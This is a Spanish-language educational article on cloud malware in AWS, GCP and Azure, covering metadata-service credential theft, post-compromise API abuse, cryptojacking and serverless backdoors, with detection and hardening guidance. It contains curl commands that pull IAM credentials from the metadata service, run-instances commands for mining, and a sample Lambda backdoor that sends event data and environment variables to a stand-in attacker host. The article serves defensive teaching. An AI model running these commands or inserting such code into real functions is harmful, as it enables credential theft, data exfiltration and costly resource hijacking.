IntermedioLinuxcloudAWSGCPAzureserverlessdetección

Cloud Malware: AWS, GCP y Azure en la Mira de los Atacantes

Análisis de malware y amenazas en entornos cloud. Abuso de metadata services, credenciales cloud robadas, cryptojacking en Lambda/Functions, malware en serverless, SSRF como vector, y detección con CloudTrail, GuardDuty y herramientas cloud-native.

MalwareIntel Research··8 min lectura
Serie: Malware en Linux — Parte 15

El cloud no es inmune al malware

La migración a cloud no eliminó el malware: lo transformó. Los servidores siguen ejecutando Linux, las vulnerabilidades siguen existiendo, y las credenciales siguen siendo robables. Lo que cambió es la superficie de ataque: ahora incluye APIs cloud (IAM, S3, Lambda), metadata services, y una infraestructura que se puede crear y destruir con una sola llamada a API.

El atacante que compromete credenciales de AWS con permisos amplios puede generar facturas de cientos de miles de dólares en horas creando instancias de minería en todas las regiones disponibles.

Vectores de ataque específicos del cloud

SSRF al Instance Metadata Service (IMDS)

El vector más conocido en cloud. IMDS es accesible en http://169.254.169.254 desde toda instancia:

# Desde una instancia EC2 comprometida (o via SSRF):

# Obtener credenciales IAM del role asignado a la instancia
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Output: MyEC2Role

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
# Output:
# {
#   "AccessKeyId": "ASIAXXXXXXXXXXXXXXXX",
#   "SecretAccessKey": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
#   "Token": "XXXXXXXX...",
#   "Expiration": "2026-05-21T12:00:00Z"
# }

# Estas credenciales pueden usarse fuera de la instancia:
export AWS_ACCESS_KEY_ID=ASIAXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
export AWS_SESSION_TOKEN=XXXXXXXX...
aws s3 ls                # Listar todos los buckets S3
aws iam list-users       # Listar usuarios IAM

Caso real: Capital One (2019)

Paige Thompson explotó una vulnerabilidad SSRF en un WAF (Web Application Firewall) de Capital One en AWS:

  1. SSRF permitió consultar IMDS desde el WAF
  2. Obtuvo credenciales IAM del role asignado al WAF
  3. Con esas credenciales, accedió a buckets S3 con datos de 100 millones de clientes
  4. Sentenciada a 5 años de prisión

Mitigación: IMDSv2

AWS IMDSv2 requiere un token de sesión para acceder al metadata:

# IMDSv2: requiere PUT request con header especifico
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

SSRF simples (GET requests) no pueden obtener el token. Habilitar IMDSv2 como requerido es la mitigación más importante.

Credenciales cloud comprometidas

Vector de roboDescripción
Credenciales hardcodeadas en códigoAPI keys en repositorios GitHub (public o private comprometido)
Variables de entornoExfiltración de env vars (CI/CD, Lambda)
InfostealersMalware que roba archivos de credenciales (~/.aws/credentials)
PhishingPhishing de consola cloud (login falso de AWS/GCP/Azure)
IMDS via SSRFRobo de credenciales temporales del metadata service
Compromiso de CI/CDAcceso a secrets de GitHub Actions, GitLab CI, Jenkins
Supply chainPaquetes maliciosos que leen env vars con credenciales

API abuse post-compromiso

Fase 1: Reconocimiento
  sts:GetCallerIdentity       # Quien soy?
  iam:ListUsers               # Que usuarios existen?
  iam:ListRoles               # Que roles existen?
  s3:ListBuckets              # Que buckets hay?
  ec2:DescribeInstances       # Que instancias hay?
  lambda:ListFunctions        # Que funciones Lambda hay?

Fase 2: Escalada
  iam:CreateUser              # Crear usuario para persistencia
  iam:AttachUserPolicy        # Dar permisos amplios al nuevo usuario
  iam:CreateAccessKey         # Crear API key para acceso permanente
  iam:PassRole                # Asumir un role con mas permisos
  sts:AssumeRole              # Cross-account access

Fase 3: Impacto
  ec2:RunInstances            # Crear instancias para cryptomining
  s3:GetObject                # Exfiltrar datos de buckets
  lambda:UpdateFunctionCode   # Inyectar codigo en funciones existentes
  rds:CreateDBSnapshot + rds:ModifyDBSnapshotAttribute  # Exfiltrar DB

Cryptojacking en cloud

Patrón: crear instancias de minería

1. Atacante obtiene credenciales AWS con permisos EC2
2. Ejecuta en todas las regiones disponibles:
   aws ec2 run-instances --instance-type p3.16xlarge --count 20 --region us-east-1
   aws ec2 run-instances --instance-type p3.16xlarge --count 20 --region eu-west-1
   aws ec2 run-instances --instance-type p3.16xlarge --count 20 --region ap-southeast-1
   ...
3. Cada instancia p3.16xlarge tiene 8 GPUs NVIDIA V100
4. User-data script instala y ejecuta XMRig automaticamente
5. Factura de la victima: 30-50 USD/hora por instancia × 60 instancias = ~2000 USD/hora
6. Si pasa un fin de semana sin deteccion: ~100.000+ USD

Caso real: múltiples incidentes

  • Un desarrollador que expuso credenciales AWS en GitHub descubrió una factura de $45.000 en 3 días
  • Una startup reportó $100.000 en cargos de EC2 tras compromiso de credenciales

Detección de cryptojacking cloud

IndicadorServicio de detección
Creación de instancias en regiones no usadasCloudTrail + alerta
Instancias de tipo GPU (p3, p4, g5) inesperadasCloudTrail + billing alerts
Pico de costes repentinoAWS Cost Explorer alerts, GCP Budget alerts
Creación de usuarios IAM no autorizadosGuardDuty, CloudTrail
API calls desde IPs no corporativasCloudTrail + IP allowlist

Malware en funciones serverless

Escenarios

EscenarioDescripción
Code injection en LambdaAtacante modifica el código de una función Lambda existente para exfiltrar datos o ejecutar minería durante las invocaciones
Layer maliciosoPublicar un Lambda Layer malicioso que se añade a funciones legítimas
Event-driven backdoorCrear una función Lambda trigereada por eventos de CloudTrail que exfiltra datos continuamente
Dependency injectionAñadir dependencia maliciosa al paquete de la función

Ejemplo: backdoor en Lambda

# Funcion Lambda original: procesa pagos
def handler(event, context):
    process_payment(event)  # Logica legitima
    return {"statusCode": 200}

# Funcion Lambda comprometida:
import urllib.request
import json
import os

def handler(event, context):
    # Exfiltrar el evento (puede contener datos de pago)
    urllib.request.urlopen(urllib.request.Request(
        "https://c2.attacker.com/exfil",
        data=json.dumps({"event": event, "env": dict(os.environ)}).encode()
    ))
    
    # Ejecutar logica legitima para no levantar sospechas
    process_payment(event)
    return {"statusCode": 200}

Detección en entornos cloud

AWS

HerramientaTipoQué detecta
CloudTrailAudit logToda llamada a API de AWS
GuardDutyThreat detectionComportamiento anómalo, credenciales comprometidas, cryptomining
Security HubAggregadorConsolida findings de GuardDuty, Inspector, Macie
InspectorVulnerability scannerVulnerabilidades en EC2 e imágenes de contenedor
MacieData securityDatos sensibles en S3
DetectiveInvestigationAnálisis forense de findings

GCP

HerramientaTipoQué detecta
Cloud Audit LogsAudit logToda actividad en GCP
Security Command CenterThreat detectionVulnerabilidades, amenazas, misconfigurations
ChronicleSIEMAnálisis de logs con threat intel de Google
Binary AuthorizationContainer securityVerificar imágenes antes de despliegue

Azure

HerramientaTipoQué detecta
Azure Activity LogAudit logOperaciones en recursos Azure
Microsoft Defender for CloudCSPM + CWPPVulnerabilidades, amenazas, compliance
Microsoft SentinelSIEMAnálisis de logs con ML

Queries de detección para CloudTrail

-- Creacion de instancias en regiones inusuales
SELECT eventTime, userIdentity.arn, awsRegion, 
       requestParameters.instanceType
FROM cloudtrail_logs
WHERE eventName = 'RunInstances'
  AND awsRegion NOT IN ('eu-west-1', 'us-east-1')  -- regiones normales
ORDER BY eventTime DESC;

-- Creacion de usuarios IAM
SELECT eventTime, userIdentity.arn, 
       requestParameters.userName
FROM cloudtrail_logs
WHERE eventName IN ('CreateUser', 'CreateAccessKey', 'AttachUserPolicy')
ORDER BY eventTime DESC;

-- Acceso al metadata service (IMDS) 
-- (requiere VPC Flow Logs, no CloudTrail)
SELECT srcAddr, dstAddr, dstPort
FROM vpc_flow_logs
WHERE dstAddr = '169.254.169.254'
  AND srcAddr NOT IN ('expected_instance_ips');

Hardening cloud

AWS

MedidaPrioridad
IMDSv2 requerido en todas las instanciasCritica
MFA en root account y todos los usuarios IAMCritica
Billing alerts con threshold bajo (ej. 500 USD/día)Critica
GuardDuty habilitado en todas las regionesCritica
CloudTrail habilitado en todas las regionesCritica
SCPs (Service Control Policies) para limitar regiones y tipos de instanciaAlta
No usar credenciales long-lived (usar roles en vez de access keys)Alta
Rotar credenciales regularmenteAlta
VPC endpoints para servicios AWS (evitar tráfico por Internet)Media

Multi-cloud

MedidaDescripción
Principio de mínimo privilegioIAM policies con permisos específicos, no *
No credenciales en códigoUsar secrets managers (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault)
Monitorizar costesAlertas de coste en tiempo real
Inventario de recursosSaber qué existe en cada región y cuenta
Eliminar recursos no usadosInstancias, funciones, roles sin uso = superficie de ataque innecesaria

Mapeo MITRE ATT&CK (Cloud)

TécnicaIDContexto cloud
Valid Accounts: Cloud AccountsT1078.004Credenciales cloud comprometidas
Cloud Service DiscoveryT1580Enumeración de servicios y recursos
Cloud Service DashboardT1538Acceso a consola cloud
Modify Cloud Compute InfrastructureT1578Crear/modificar instancias para mining
Data from Cloud StorageT1530Exfiltrar datos de S3/GCS/Blob
Unsecured Credentials: Cloud Instance MetadataT1552.005IMDS abuse
Resource HijackingT1496Cryptomining en instancias
Steal Application Access TokenT1528Robo de tokens OAuth/service accounts

Fuentes y referencias

  • Sysdig. "2024 Cloud Threat Report." Sysdig.
  • Unit 42 (Palo Alto). "Cloud Threat Report 2024." Palo Alto Networks.
  • AWS. "Best Practices for Security, Identity & Compliance." AWS Well-Architected.
  • AWS. "Instance Metadata Service Version 2 (IMDSv2)." AWS Docs.
  • GCP. "Security Best Practices." Google Cloud Documentation.
  • Microsoft. "Azure Security Best Practices." Microsoft Docs.
  • MITRE ATT&CK. "Cloud Matrix." https://attack.mitre.org/matrices/enterprise/cloud/
  • Rhino Security Labs. "Cloud Attack Techniques." https://rhinosecuritylabs.com/
  • HackTricks Cloud. "Cloud Security Wiki." https://cloud.hacktricks.xyz/
  • Capital One Data Breach. "U.S. v. Paige Thompson." DOJ, 2019.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.